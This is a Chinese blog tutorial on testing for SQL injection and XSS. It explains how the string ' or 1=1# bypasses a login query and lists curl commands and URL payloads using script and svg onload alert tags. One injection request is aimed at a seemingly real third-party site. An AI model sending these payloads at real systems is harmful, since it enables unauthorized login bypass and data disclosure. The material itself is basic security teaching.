sql注入、xss语句测试

weixing100200

已于 2022-09-19 15:20:45 修改

阅读量776

点赞数

CC 4.0 BY-SA版权

分类专栏： http请求攻击模拟文章标签： sql 数据库 database

于 2022-02-17 14:41:01 首次发布

本文链接：https://blog.csdn.net/weixing100200/article/details/122983073

http请求攻击模拟专栏收录该内容

2 篇文章

订阅专栏

本文探讨了SQL注入和XSS跨站脚本攻击的原理。通过示例，展示了如何利用‘or1=1#’进行SQL注入，绕过登录验证，获取数据库中的所有用户信息。同时，也演示了XSS攻击的不同形式，如利用头信息和URL注入恶意脚本，提醒读者关注网络安全，防范此类攻击。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

d:\Users\Administrator\Desktop\curl-7.80.0-win64-mingw\bin>curl.exe -Iv http://www.bj2342.cn/?id=1'or'1'='1 -H "X-Forwarded-For:1.1.1.1" -H "X-Forwarded-For:2.2.2.2"

select * from users where username=’’ or 1=1#’ and password=balabala

我们分析下语义，在SQL语法中 # 是注释符，所以后面的语句都会杯注释掉，那么上面的语句就等价于

select * from users where username=’’ or 1=1

我们知道SQL语句中where相当于判断语句，并且是由 or 连接的，所以 username=’’ 和 1=1 中有一个为真就为真。1=1肯定为真，所以语句又等价于

select * from users

这个语句的作用是爆出表中的所有字段。

也就是说我们用 ‘or 1=1# 这么一个字符串就可以绕开登陆的密码，直接进入程序。当然这仅限于那些可以被注入的程序或者网页噢
————————————————

XSS模拟

d:\Users\Administrator\Desktop\curl-7.80.0-win64-mingw\bin>curl -iH "XSS: <svg onload=alert(1)>" http://xxx.xxx.com

http://www.example.com/<script>alert('hello');</script>

http://www.example.com/x=<script>alert(1)</script>